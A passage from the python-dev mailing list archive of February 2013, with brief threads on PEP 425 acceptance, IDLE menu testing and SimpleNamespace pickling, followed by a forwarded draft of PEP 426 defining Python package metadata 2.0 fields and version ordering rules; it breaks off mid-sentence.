In-Reply-To: <CAG8k2+5M6XS5CX4BYDYtJ15rqMs+7D8SOdZZW7jYRi0apE8Dug@mail.gmail.com>
References: <CAG8k2+5M6XS5CX4BYDYtJ15rqMs+7D8SOdZZW7jYRi0apE8Dug@mail.gmail.com>
Message-ID: <CADiSq7ec0EhwGJRVUkFWkbX_PeRTOq58TyPGLUfjvgZLtZ7CTw@mail.gmail.com>

On Sat, Feb 16, 2013 at 2:06 PM, Daniel Holth <dholth at gmail.com> wrote:
> This is the improved compatibility tags PEP 425, specifying how part of the
> Wheel PEP 427 filenames work. Last time we discussed whether replacing .
> with _ was ugly but I concluded it was harmless.

Daniel has updated the example and FAQ as I requested, so PEP 425 is
now accepted.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From rdmurray at bitdance.com  Sun Feb 17 07:56:17 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Sun, 17 Feb 2013 01:56:17 -0500
Subject: [Python-Dev] Cut/Copy/Paste items in IDLE right click context
	menu
In-Reply-To: <FD1D5822-4F05-4F7D-B72A-4C8CE9D75E9B@me.com>
References: <CAL3CFcX6d1OJeit9iBBzGTTvo0-gvOWKB=wLTDmPNFZ4FOjqkQ@mail.gmail.com>
	<CADiSq7dX3NbOvMuMnYFrMMwOPRn+Sf_rmsUO0L9LnovhTQkyyw@mail.gmail.com>
	<k70vuu$qi7$1@ger.gmane.org>
	<CADiSq7eEN3nSxbrouZ5VgyQC7cKwgTjCM78jQz26NxKjU7ipoA@mail.gmail.com>
	<50948B1F.1030000@udel.edu>
	<CADiSq7fYXqXO+QWG6eJdxkiCtJLQDdWVJk6e11pv2PssyNBkUA@mail.gmail.com>
	<CALZ1apxdrUDQP228uH4b5RfQ6PaTeak57CyMCYLnqYGqw9rajQ@mail.gmail.com>
	<CADiSq7cR8weEeEocAZd9cwbg6wodPhnnLHOrNYr1DBrdZv-dyA@mail.gmail.com>
	<FD1D5822-4F05-4F7D-B72A-4C8CE9D75E9B@me.com>
Message-ID: <20130217065617.D39B6250BC1@webabinitio.net>

On Sun, 17 Feb 2013 14:00:24 +1100, Neil Hodgson <nyamatongwe at me.com> wrote:
> Nick Coghlan:
> 
> > - no need for extensive cross-OS testing prior to commit, that's a key
> > part of the role of the buildbots
> 
>    Are the buildbots able to test UI features like menu selections?

Not to mention that the test suite is a bit sparse for Idle, despite
recent efforts to improve this, even for the stuff that can be tested.

--David

From ncoghlan at gmail.com  Sun Feb 17 09:19:17 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 17 Feb 2013 18:19:17 +1000
Subject: [Python-Dev] Cut/Copy/Paste items in IDLE right click context
	menu
In-Reply-To: <20130217065617.D39B6250BC1@webabinitio.net>
References: <CAL3CFcX6d1OJeit9iBBzGTTvo0-gvOWKB=wLTDmPNFZ4FOjqkQ@mail.gmail.com>
	<CADiSq7dX3NbOvMuMnYFrMMwOPRn+Sf_rmsUO0L9LnovhTQkyyw@mail.gmail.com>
	<k70vuu$qi7$1@ger.gmane.org>
	<CADiSq7eEN3nSxbrouZ5VgyQC7cKwgTjCM78jQz26NxKjU7ipoA@mail.gmail.com>
	<50948B1F.1030000@udel.edu>
	<CADiSq7fYXqXO+QWG6eJdxkiCtJLQDdWVJk6e11pv2PssyNBkUA@mail.gmail.com>
	<CALZ1apxdrUDQP228uH4b5RfQ6PaTeak57CyMCYLnqYGqw9rajQ@mail.gmail.com>
	<CADiSq7cR8weEeEocAZd9cwbg6wodPhnnLHOrNYr1DBrdZv-dyA@mail.gmail.com>
	<FD1D5822-4F05-4F7D-B72A-4C8CE9D75E9B@me.com>
	<20130217065617.D39B6250BC1@webabinitio.net>
Message-ID: <CADiSq7csW7XSN87qv+A3uJNvKEd8pNNKcyoVXwafSPqxU4QeYw@mail.gmail.com>

On Sun, Feb 17, 2013 at 4:56 PM, R. David Murray <rdmurray at bitdance.com> wrote:
> On Sun, 17 Feb 2013 14:00:24 +1100, Neil Hodgson <nyamatongwe at me.com> wrote:
>> Nick Coghlan:
>>
>> > - no need for extensive cross-OS testing prior to commit, that's a key
>> > part of the role of the buildbots
>>
>>    Are the buildbots able to test UI features like menu selections?
>
> Not to mention that the test suite is a bit sparse for Idle, despite
> recent efforts to improve this, even for the stuff that can be tested.

Perhaps something for the PEP to elaborate on before we declare open
season on Idle improvements in bug fix releases.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Sun Feb 17 09:25:07 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 17 Feb 2013 18:25:07 +1000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
Message-ID: <CADiSq7d3JXJ4a2a3tD3cCp6xLDcOVhbsTU+dw74Kg07ywiu+kQ@mail.gmail.com>

On Sun, Feb 3, 2013 at 4:37 PM, Guido van Rossum <guido at python.org> wrote:
> I don't know or care much about PyPI metadata, so do what you feel is
> right. If you are uncomfortable being PEP-uncle *and* -author, find
> another author or another uncle. But since it doesn't affect the
> language or library, it's fine with me if you are both. :-)

Based on this, and due to the fact that I think most everyone else
involved in reviewing PEP 426 would have already accepted it by now,
I've reclaimed the BDFL-Delegate role for PEP 426.

I'll be posting the latest draft to distutils-sig for a final sanity
check shortly. (Do people see any point in posting it here as well?
Everyone that will need to support it near-term is over on
distutils-sig, but may not be on python-dev)

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From solipsis at pitrou.net  Sun Feb 17 12:49:58 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 17 Feb 2013 12:49:58 +0100
Subject: [Python-Dev] cpython: Issue #15022: Add pickle and comparison
 support to types.SimpleNamespace.
In-Reply-To: <CALFfu7AbfS2BThWbeY5Ftb9sjKHTeLabksW1iuXgG=nKrs7GRw@mail.gmail.com>
References: <3Z7nv62fn4zRYG@mail.python.org>
	<20130217004539.0e55a3c9@pitrou.net>
	<CALFfu7B2wD4-VfvxoD-vWSHGTL1WL64M-JwHN31E-O2D0fymhw@mail.gmail.com>
	<CALFfu7AbfS2BThWbeY5Ftb9sjKHTeLabksW1iuXgG=nKrs7GRw@mail.gmail.com>
Message-ID: <20130217124958.2d904831@pitrou.net>

On Sat, 16 Feb 2013 18:20:14 -0700
Eric Snow <ericsnowcurrently at gmail.com> wrote:
> On Sat, Feb 16, 2013 at 5:02 PM, Eric Snow <ericsnowcurrently at gmail.com> wrote:
> > On Sat, Feb 16, 2013 at 4:45 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> >> I think you should test with all pickle protocols.
> >
> > I'll do that.
> 
> Out of curiousity, how critical is it to support protocols 0 and 1?
> I've made sure SimpleNamespace does, but it made me wonder what the
> use case is for the older protocols.

Not critical at all. It's just nice to have for consistency, but it
shouldn't stop you if it's too difficult to implement.

Regards

Antoine.

From ncoghlan at gmail.com  Sun Feb 17 13:00:50 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 17 Feb 2013 22:00:50 +1000
Subject: [Python-Dev] cpython: Issue #15022: Add pickle and comparison
 support to types.SimpleNamespace.
In-Reply-To: <20130217124958.2d904831@pitrou.net>
References: <3Z7nv62fn4zRYG@mail.python.org>
	<20130217004539.0e55a3c9@pitrou.net>
	<CALFfu7B2wD4-VfvxoD-vWSHGTL1WL64M-JwHN31E-O2D0fymhw@mail.gmail.com>
	<CALFfu7AbfS2BThWbeY5Ftb9sjKHTeLabksW1iuXgG=nKrs7GRw@mail.gmail.com>
	<20130217124958.2d904831@pitrou.net>
Message-ID: <CADiSq7e+sJvx0Tvqp30+BkPWHhCdwxCp5kugeJiDgRWLduUBhA@mail.gmail.com>

On Sun, Feb 17, 2013 at 9:49 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> On Sat, 16 Feb 2013 18:20:14 -0700
> Eric Snow <ericsnowcurrently at gmail.com> wrote:
>> On Sat, Feb 16, 2013 at 5:02 PM, Eric Snow <ericsnowcurrently at gmail.com> wrote:
>> > On Sat, Feb 16, 2013 at 4:45 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
>> >> I think you should test with all pickle protocols.
>> >
>> > I'll do that.
>>
>> Out of curiousity, how critical is it to support protocols 0 and 1?
>> I've made sure SimpleNamespace does, but it made me wonder what the
>> use case is for the older protocols.
>
> Not critical at all. It's just nice to have for consistency, but it
> shouldn't stop you if it's too difficult to implement.

Although in such cases, we probably want to test we generate a
reasonable error message for the unsupported protocols, rather than
silently writing junk to the pickle.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Sun Feb 17 11:11:23 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 17 Feb 2013 20:11:23 +1000
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for distribution
	metadata 2.0
In-Reply-To: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
Message-ID: <CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>

FYI


---------- Forwarded message ----------
From: Nick Coghlan <ncoghlan at gmail.com>
Date: Sun, Feb 17, 2013 at 8:10 PM
Subject: PEP 426 is now the draft spec for distribution metadata 2.0
To: "DistUtils mailing list\"\"" <distutils-sig at python.org>


The latest draft of PEP 426 is up at http://www.python.org/dev/peps/pep-0426/

Major changes since the last draft:

1. Metadata-Version is 2.0 rather than 1.3, and the field now has the
same major.minor semantics as are defined for wheel versions in PEP
427 (i.e. if a tool sees a major version number it doesn't recognise,
it should give up rather than trying to guess what to do with it,
while it's OK to process a higher minor version)

2. The "Private-Version" field is added, and several examples are
given showing how to use it in conjunction with translated public
versions when a project wants to use a version numbering scheme that
the standard installation tools won't understand.

3. The environment markers section more clearly covers the need to
handle parentheses (this was mentioned in the text, but not the
pseudo-grammar), and the fields which support those markers have an
explicit cross-reference to that section of the spec.

4. Leading/trailing whitespace and date based versioning are
explicitly excluded from valid public versions

5. Version compatibility statistics are provided for this PEP relative
to PEP 386 (the analysis script has been added to the PEP repo if
anyone wants to check my numbers)

6. I have reclaimed BDFL-Delegate status (with Guido's approval)

Since getting wheel support into pip no longer depends on this version
of the metadata spec, I plan to leave it open for comment for another
week, and then accept it next weekend if I don't hear any significant
objections.

Regards,
Nick.

==========================
PEP: 426
Title: Metadata for Python Software Packages 2.0
Version: $Revision$
Last-Modified: $Date$
Author: Daniel Holth <dholth at fastmail.fm>,
        Donald Stufft <donald at stufft.io>,
        Nick Coghlan <ncoghlan at gmail.com>
BDFL-Delegate: Nick Coghlan <ncoghlan at gmail.com>
Discussions-To: Distutils SIG
Status: Draft
Type: Standards Track
Content-Type: text/x-rst
Created: 30 Aug 2012
Post-History: 14 Nov 2012, 5 Feb 2013, 7 Feb 2013, 9 Feb 2013


Abstract
========

This PEP describes a mechanism for adding metadata to Python distributions.
It includes specifics of the field names, and their semantics and
usage.

This document specifies version 2.0 of the metadata format.
Version 1.0 is specified in PEP 241.
Version 1.1 is specified in PEP 314.
Version 1.2 is specified in PEP 345.

Version 2.0 of the metadata format adds fields designed to make
third-party packaging of Python Software easier and defines a formal
extension mechanism.  It also adds support for optional features of
distributions and allows the description to be placed into a payload
section. Finally, this version addresses several issues with the
previous iteration of the standard version identification scheme.


Metadata files
==============

The syntax defined in this PEP is for use with Python distribution
metadata files. The file format is a simple UTF-8 encoded Key: value
format with case-insensitive keys and no maximum line length, optionally
followed by a blank line and a payload containing a description of the
distribution.

This format is parseable by the ``email`` module with an appropriate
``email.policy.Policy()``.  When ``metadata`` is a Unicode string,
```email.parser.Parser().parsestr(metadata)`` is a serviceable parser.

There are three standard locations for these metadata files:

* the ``PKG-INFO`` file included in the base directory of Python
  source distribution archives (as created by the distutils ``sdist``
  command)
* the ``{distribution}-{version}.dist-info/METADATA`` file in a ``wheel``
  binary distribution archive (as described in PEP 425, or a later version
  of that specification)
* the ``{distribution}-{version}.dist-info/METADATA`` files in a local
  Python installation database (as described in PEP 376, or a later version
  of that specification)

Other tools involved in Python distribution may also use this format.


Encoding
========

Metadata 2.0 files are UTF-8 with the restriction that keys must be
ASCII. Parser implementations should be aware that older versions of
the Metadata specification do not specify an encoding.


Metadata header fields
=======================

This section specifies the names and semantics of each of the
supported fields in the metadata header.

In a single Metadata 2.0 file, fields marked with "(optional)" may occur
0 or 1 times.  Fields marked with "(multiple use)" may be specified
0, 1 or more times.  Only "Metadata-Version", "Name", "Version", and
"Summary" must appear exactly once.

The fields may appear in any order within the header section of the file.


Metadata-Version
----------------

Version of the file format; "2.0" is the only legal value.

Automated tools should warn if ``Metadata-Version`` is greater than the
highest version they support, and must fail if ``Metadata-Version`` has
a greater major version than the highest version they support.

Example::

    Metadata-Version: 2.0


Name
----

The name of the distribution.

Example::

    Name: BeagleVote


Version
-------

The distribution's public version identifier. Public versions are designed
for consumption by automated tools and are strictly ordered according
to a defined scheme. See `Version scheme`_ below.

Example::

    Version: 1.0a2


Summary
-------

A one-line summary of what the distribution does.

Example::

    Summary: A module for collecting votes from beagles.


Private-Version (optional)
--------------------------

An arbitrary private version label. Private version labels are intended
for internal use by a project, and cannot be used in version specifiers.
See `Compatibility with other version schemes`_ below.

Examples::

    Private-Version: 1.0.0-alpha.1
    Private-Version: 1.3.7+build.11.e0f985a
    Private-Version: v1.8.1.301.ga0df26f
    Private-Version: 2013.02.17.dev123


Description (optional, deprecated)
----------------------------------

Starting with Metadata 2.0, the recommended place for the description is in
the payload section of the document, after the last header.  The description
does not need to be reformatted when it is included in the payload.

See `Describing the Distribution`_ for more information on the expected
contents of this field.

Since a line separator immediately followed by another line separator
indicates the end of the headers section, any line separators in a
``Description`` header field must be suffixed by whitespace to
indicate continuation.

It is an error to provide both a ``Description`` header and a metadata
payload.


Keywords (optional)
-------------------

A list of additional whitespace separated keywords to be used to assist
searching for the distribution in a larger catalog.

Example::

    Keywords: dog puppy voting election


Home-page (optional)
--------------------

A string containing the URL for the distribution's home page.

Example::

    Home-page: http://www.example.com/~cschultz/bvote/


Download-URL (optional)
-----------------------

A string containing the URL from which this version of the distribution
can be downloaded.  (This means that the URL can't be something like
".../BeagleVote-latest.tgz", but instead must be ".../BeagleVote-0.45.tgz".)


Project-URL (multiple use)
--------------------------

A string containing a label and a browsable URL for the project, separated
by the last occurrence of comma and space ", ".

The label consists of any permitted header text, including commas.

Example::

    Bug, Issue Tracker, http://bitbucket.org/tarek/distribute/issues/


Author (optional)
-----------------

A string containing the author's name at a minimum; additional
contact information may be provided.

Example::

    Author: C. Schultz, Universal Features Syndicate,
            Los Angeles, CA <cschultz at peanuts.example.com>


Author-email (optional)
-----------------------

A string containing the author's e-mail address.  It contains a name
and e-mail address in the RFC 5322 recommended ``Address Specification``
format.

Example::

    Author-email: "C. Schultz" <cschultz at example.com>


Maintainer (optional)
---------------------

A string containing the maintainer's name at a minimum; additional
contact information may be provided.

Note that this field is intended for use when a project is being
maintained by someone other than the original author:  it should be
omitted if it is identical to ``Author``.

Example::

    Maintainer: C. Schultz, Universal Features Syndicate,
            Los Angeles, CA <cschultz at peanuts.example.com>


Maintainer-email (optional)
---------------------------

A string containing the maintainer's e-mail address.  It has the same
format as ``Author-email``.

Note that this field is intended for use when a project is being
maintained by someone other than the original author:  it should be
omitted if it is identical to ``Author-email``.

Example::

    Maintainer-email: "C. Schultz" <cschultz at example.com>


License (optional)
------------------

Text indicating the license covering the distribution where the license
is not a selection from the "License" Trove classifiers. See
"Classifier" below.  This field may also be used to specify a
particular version of a license which is named via the ``Classifier``
field, or to indicate a variation or exception to such a license.

Examples::

    License: This software may only be obtained by sending the
            author a postcard, and then the user promises not
            to redistribute it.

    License: GPL version 3, excluding DRM provisions

The full text of the license would normally be included in a separate
file.


Classifier (multiple use)
-------------------------

Each entry is a string giving a single classification value
for the distribution.  Classifiers are described in PEP 301 [2].

`Environment markers`_ may be used with this field.

Examples::

    Classifier: Development Status :: 4 - Beta
    Classifier: Environment :: Console (Text Based)


Provides-Dist (multiple use)
----------------------------

Each entry contains a string naming a requirement that is satisfied by
installing this distribution. These strings must be of the form
``Name`` or ``Name (Version)``, following the formats of the corresponding
field definitions.

A distribution may provide additional names, e.g. to indicate that
multiple projects have been merged into and replaced by a single
distribution or to indicate that this project is a substitute for another.
For instance, distribute (a fork of setuptools) can include a
``Provides-Dist: setuptools`` entry to prevent the conflicting
package from being downloaded and installed when distribute is already
installed.  A distribution that has been merged with another might
``Provides-Dist`` the obsolete name(s) to satisfy any projects that
require the obsolete distribution's name.

A distribution may also provide a "virtual" project name, which does
not correspond to any separately-distributed project:  such a name
might be used to indicate an abstract capability which could be supplied
by one of multiple projects.  E.g., multiple projects might supply
RDBMS bindings for use by a given ORM:  each project might declare
that it provides ``ExampleORM-somedb-bindings``, allowing other
projects to depend only on having at least one of them installed.

A version declaration may be supplied and must follow the rules described
in `Version scheme`_. The distribution's version identifier will be implied
if none is specified.

`Environment markers`_ may be used with this field.

Examples::

    Provides-Dist: ThisProject
    Provides-Dist: AnotherProject (3.4)
    Provides-Dist: virtual_package


Provides-Extra (multiple use)
-----------------------------

A string containing the name of an optional feature. Must be printable
ASCII, not containing whitespace, comma (,), or square brackets [].
May be used to make a dependency conditional on whether the optional
feature has been requested.

See `Optional Features`_ for details on the use of this field.

Example::

    Name: beaglevote
    Provides-Extra: pdf
    Requires-Dist: reportlab; extra == 'pdf'
    Requires-Dist: nose; extra == 'test'
    Requires-Dist: sphinx; extra == 'doc'


Obsoleted-By (optional)
-----------------------

Indicates that this project is no longer being developed.  The named
project provides a substitute or replacement.

A version declaration may be supplied and must follow the rules described
in `Version specifiers`_.

Possible uses for this field include handling project name changes and
project mergers.

Examples::

    Name: BadName
    Obsoleted-By: AcceptableName

    Name: SeparateProject
    Obsoleted-By: MergedProject (>=4.0.0)


Requires-Dist (multiple use)
----------------------------

Each entry contains a string naming some other distutils
project required by this distribution.

The format of a requirement string is identical to that of a distribution
name (e.g., as found in the ``Name:`` field) optionally followed by a
version declaration within parentheses.

The distribution names should correspond to names as found on the `Python
Package Index`_; often the same as, but distinct from, the module names
as accessed with ``import x``.

`Environment markers`_ may be used with this field.

Version declarations must follow the rules described in
`Version specifiers`_

Distributions may also depend on optional features of other distributions.
See `Optional Features`_ for details.

Examples::

    Requires-Dist: pkginfo
    Requires-Dist: PasteDeploy
    Requires-Dist: zope.interface (>3.5.0)

Dependencies mentioned in ``Requires-Dist`` may be installed exclusively
at run time and are not guaranteed to be available when creating or
installing a package. If a dependency is needed during distribution
creation or installation *and* at run time, it should be listed under
both ``Requires-Dist`` and ``Setup-Requires-Dist``.


Setup-Requires-Dist (multiple use)
----------------------------------

Like ``Requires-Dist``, but names dependencies needed in order to build,
package or install the distribution -- in distutils, a dependency imported
by ``setup.py`` itself. Commonly used to bring in extra compiler support
or a package needed to generate a manifest from version control.

Examples::

    Setup-Requires-Dist: custom_setup_command

Dependencies mentioned in ``Setup-Requires-Dist`` may be installed
exclusively for setup and are not guaranteed to be available at run time.
If a dependency is needed during distribution creation or installation
*and* at run time, it should be listed under both ``Requires-Dist`` and
``Setup-Requires-Dist``.


Requires-Python (multiple use)
------------------------------

This field specifies the Python version(s) that the distribution is
guaranteed to be compatible with.

`Environment markers`_ may be used with this field.

Version declarations must be in the format specified in
`Version specifiers`_.

Examples::

    Requires-Python: 3.2
    Requires-Python: >3.1
    Requires-Python: >=2.3.4
    Requires-Python: >=2.5,<2.7

If specified multiple times, the Python version must satisfy all such
constraints to be considered compatible. This is most useful in combination
with appropriate `Environment markers`_.

For example, if a feature was initially introduced to Python as a
Unix-specific addition, and then Windows support was added in the
subsequent release, this could be indicated with the following pair
of entries::

    Requires-Python: >= 3.1
    Requires-Python: >= 3.2; sys.platform == 'win32'


Requires-External (multiple use)
--------------------------------

Each entry contains a string describing some dependency in the
system that the distribution is to be used.  This field is intended to
serve as a hint to downstream project maintainers, and has no
semantics which are meaningful to the ``distutils`` distribution.

The format of a requirement string is a name of an external
dependency, optionally followed by a version declaration within
parentheses.

`Environment markers`_ may be used with this field.

Because they refer to non-Python software releases, version identifiers
for this field are **not** required to conform to the format
described in `Version scheme`_:  they should correspond to the
version scheme used by the external dependency.

Notice that there is no particular rule on the strings to be used.

Examples::

    Requires-External: C
    Requires-External: libpng (>=1.5)


Platform (multiple use)
-----------------------

A Platform specification describing an operating system supported by
the distribution which is not listed in the "Operating System" Trove
classifiers. See `Classifier`__ above.

__ `Classifier (multiple use)`_

Examples::

    Platform: ObscureUnix
    Platform: RareDOS


Supported-Platform (multiple use)
---------------------------------

Binary distributions containing a metadata file will use the
Supported-Platform field in their metadata to specify the OS and
CPU for which the binary distribution was compiled.  The semantics of
the Supported-Platform field are not specified in this PEP.

Example::

    Supported-Platform: RedHat 7.2
    Supported-Platform: i386-win32-2791


Extension (multiple use)
------------------------

An ASCII string, not containing whitespace or the ``/`` character, that
indicates the presence of extended metadata. The additional fields
defined by the extension are then prefixed with the name of the extension
and the ``/`` character.

For example::

    Extension: Chili
    Chili/Type: Poblano
    Chili/Heat: Mild

To avoid name conflicts, it is recommended that distribution names be used
to identify metadata extensions. This practice will also make it easier to
find authoritative documentation for metadata extensions.

As the order of the metadata headers is not constrained, the
``Extension: Chili`` field may appear before or after the corresponding
extension fields ``Chili/Type:`` etc.

Values in extension fields must still respect the general formatting
requirements for metadata headers.

A bare ``Extension: Name`` entry with no corresponding extension fields is
permitted. It may, for example, indicate the expected presence of an
additional metadata file rather than the presence of extension fields.

An extension field with no corresponding ``Extension: Name`` entry is an
error.


Describing the distribution
===========================

The distribution metadata should include a longer description of the
distribution that may run to several paragraphs. Software that deals
with metadata should not assume any maximum size for the description.

The recommended location for the description is in the metadata payload,
separated from the header fields by at least one completely blank line
(that is, two successive line separators with no other characters
between them, not even whitespace).

Alternatively, the description may be provided in the `Description`__
metadata header field. Providing both a ``Description`` field and a
payload is an error.

__ `Description (optional, deprecated)`_

The distribution description can be written using reStructuredText
markup [1]_.  For programs that work with the metadata, supporting
markup is optional; programs may also display the contents of the
field as plain text without any special formatting.  This means that
authors should be conservative in the markup they use.


Version scheme
==============

Public version identifiers must comply with the following scheme::

    N[.N]+[{a|b|c|rc}N][.postN][.devN]

Version identifiers which do not comply with this scheme are an error.

Version identifiers must not include leading or trailing whitespace.

Any given version will be a "release", "pre-release", "post-release" or
"developmental release" as defined in the following sections.

.. note::

   Some hard to read version identifiers are permitted by this scheme
   in order to better accommodate the wide range of versioning practices
   across existing public and private Python projects.

   Accordingly, some of the versioning practices which are technically
   permitted by the PEP are strongly discouraged for new projects. Where
   this is the case, the relevant details are noted in the following
   sections.


Releases
--------

A release number is a version identifier that consists solely of one or
more non-negative integer values, separated by dots::

    N[.N]+

Releases within a project must be numbered in a consistently increasing
fashion. Ordering considers the numeric value of each component
in turn, with "component does not exist" sorted ahead of all numeric
values.

Date based release numbers are explicitly excluded from compatibility with
this scheme, as they hinder automatic translation to other versioning
schemes, as well as preventing the adoption of semantic versioning without
changing the name of the project. Accordingly, a leading release component
greater than or equal to ``1980`` is an error.

While any number of additional components after the first are permitted
under this scheme, the most common variants are to use two components
("major.minor") or three components ("major.minor.micro").

For example::

    0.9
    0.9.1
    0.9.2
    ...
    0.9.10
    0.9.11
    1.0
    1.0.1
    1.1
    2.0
    2.0.1

A release series is any set of release numbers that start with a common
prefix. For example, ``3.3.1``, ``3.3.5`` and ``3.3.9.45`` are all
part of the ``3.3`` release series.

.. note::

   Using both ``X.Y`` and ``X.Y.0`` as distinct release numbers within the
   scope of a single release series is strongly discouraged, as it makes the
   version ordering ambiguous for human readers. Automated tools should
   either treat this case as an error, or else interpret an ``X.Y.0``
   release as coming *after* the corresponding ``X.Y`` release.

   The recommended practice is to always use release numbers of a consistent
   length (that is, always include the trailing ``.0``). An acceptable
   alternative is to consistently omit the trailing ``.0``. The example
   above shows both styles, always including the ``.0`` at the second
   level and consistently omitting it at the third level.


Pre-releases
------------

Some projects use an "alpha, beta, release candidate" pre-release cycle to
support testing by their users prior to a full release.

If used as part of a project's development cycle, these pre-releases are
indicated by a suffix appended directly to the last component of the
release number::

    X.YaN  # Alpha release
    X.YbN  # Beta release
    X.YcN  # Release candidate (alternative notation: X.YrcN)
    X.Y    # Full release

The pre-release suffix consists of an alphabetical identifier for the
pre-release phase, along with a non-negative integer value. Pre-releases for
a given release are ordered first by phase (alpha, beta, release candidate)
and then by the numerical component within that phase.

.. note::

   Using both ``c`` and ``rc`` to identify release candidates within
   the scope of a single release is strongly discouraged, as it makes the
   version ordering ambiguous for human readers. Automated tools should
   either treat this case as an error, or else interpret all ``rc`` versions
   as coming after all ``c`` versions (that is, ``rc1`` indicates a later
   version than ``c2``).


Post-releases
-------------

Some projects use post-releases to address minor errors in a release that
do not affect the distributed software (for example, correcting an error
in the release notes).

If used as part of a project's development cycle, these post-releases are
indicated by a suffix appended directly to the last component of the
release number::

    X.Y.postN    # Post-release

The post-release suffix consists of the string ``.post``, followed by a
non-negative integer value. Post-releases are ordered by their
numerical component, immediately following the corresponding release,
and ahead of any subsequent release.

.. note::

   The use of post-releases to publish maintenance releases containing
   actual bug fixes is strongly discouraged. In general, it is better
   to use a longer release number and increment the final component
   for each maintenance release.

Post-releases are also permitted for pre-releases::

    X.YaN.postM  # Post-release of an alpha release
    X.YbN.postM  # Post-release of a beta release
    X.YcN.postM  # Post-release of a release candidate

.. note::

   Creating post-releases of pre-releases is strongly discouraged, as
   it makes the version identifier difficult to parse for human readers.
   In general, it is substantially clearer to simply create a new
   pre-release by incrementing the numeric component.


Developmental releases
----------------------

Some projects make regular developmental releases, and system packagers
(especially for Linux distributions) may wish to create early releases
which do not conflict with later project releases.

If used as part of a project's development cycle, these developmental
releases are indicated by a suffix appended directly to the last
component of the release number::

    X.Y.devN    # Developmental release

The developmental release suffix consists of the string ``.dev``,
followed by a non-negative integer value. Developmental releases are ordered
by their numerical component, immediately before the corresponding release
(and before any pre-releases), and following any previous release.

Developmental releases are also permitted for pre-releases and
post-releases::

    X.YaN.devM      # Developmental release of an alpha release
    X.YbN.devM      # Developmental release of a beta release
    X.YcN.devM      # Developmental release of a release candidate
    X.Y.postN.devM  # Developmental release of a post-release

.. note::

   Creating developmental releases of pre-releases is strongly
   discouraged, as it makes the version identifier difficult to parse for
   human readers. In general, it is substantially clearer to simply create
   additional pre-releases by incrementing the numeric component.

   Developmental releases of post-releases are also strongly discouraged,
   but they may be appropriate for projects which use the post-release
   notation for full maintenance releases which may include code changes.


Examples of compliant version schemes
-------------------------------------

The standard version scheme is designed to encompass a wide range of
identification practices across public and private Python projects. In
practice, a single project attempting to use the full flexibility offered
by the scheme would create a situation where human users had difficulty
figuring out the relative order of versions, even though the rules above
ensure all compliant tools will order them consistently.

The following examples illustrate a small selection of the different
approaches projects may choose to identify their releases, while still
ensuring that the "latest release" and the "latest stable release" can
be easily determined, both by human users and automated tools.

Simple "major.minor" versioning::

    0.1
    0.2
    0.3
    1.0
    1.1
    ...

Simple "major.minor.micro" versioning::

    1.1.0
    1.1.1
    1.1.2
    1.2.0
    ...

"major.minor" versioning with alpha, beta and release candidate
pre-releases::

    0.9
    1.0a1
    1.0a2
    1.0b1
    1.0c1
    1.0
    1.1a1
    ...

"major.minor" versioning with developmental releases, release candidates
and post-releases for minor corrections::

    0.9
    1.0.dev1
    1.0.dev2
    1.0.dev3
    1.0.dev4
    1.0rc1
    1.0rc2
    1.0
    1.0.post1
    1.1.dev1
    ...


Summary of permitted suffixes and relative ordering
---------------------------------------------------

.. note::

   This section is intended primarily for authors of tools that
   automatically process distribution metadata, rather than authors
   of Python distributions deciding on a versioning scheme.

The numeric release component of version identifiers should be sorted in
the same order as Python's tuple sorting when the release number is
parsed as follows::

    tuple(map(int, release_number.split(".")))

Within a numeric release (``1.0``, ``2.7.3``), the following suffixes
are permitted and are ordered as shown::

   .devN, aN, bN, cN, rcN, <no suffix>, .postN

Note that `rc` will always sort after `c` (regardless of the numeric
component) although they are semantically equivalent. Tools are free to
reject this case as ambiguous and remain in compliance with the PEP.

Within an alpha (``1.0a1``), beta (``1.0b1``), or release candidate
(``1.0c1``, ``1.0rc1``), the following suffixes are permitted and are
ordered as shown::

   .devN, <no suffix>, .postN

Within a post-release (``1.0.post1``), the following suffixes are permitted
and are ordered as shown::

    devN, <no suffix>

Note that ``devN`` and ``postN`` must always be preceded by a dot, even
when used immediately following a numeric version (e.g. ``1.0.dev456``,
``1.0.post1``).

Within a given suffix, ordering is by the value of the numeric component.

The following example covers many of the possible combinations::

    1.0.dev456
    1.0a1
    1.0a2.dev456
    1.0a12.dev456
    1.0a12
    1.0b1.dev456
    1.0b2
    1.0b2.post345.dev456
    1.0b2.post345
    1.0c1.dev456
    1.0c1
    1.0
    1.0.post456.dev34
    1.0.post456
    1.1.dev1


Version ordering across different metadata versions
---------------------------------------------------

Metadata v1.0 (PEP 241) and metadata v1.1 (PEP 314) do not
specify a standard version identification or ordering scheme. This PEP does
not mandate any particular approach to handling such versions, but
acknowledges that the de facto standard for ordering them is
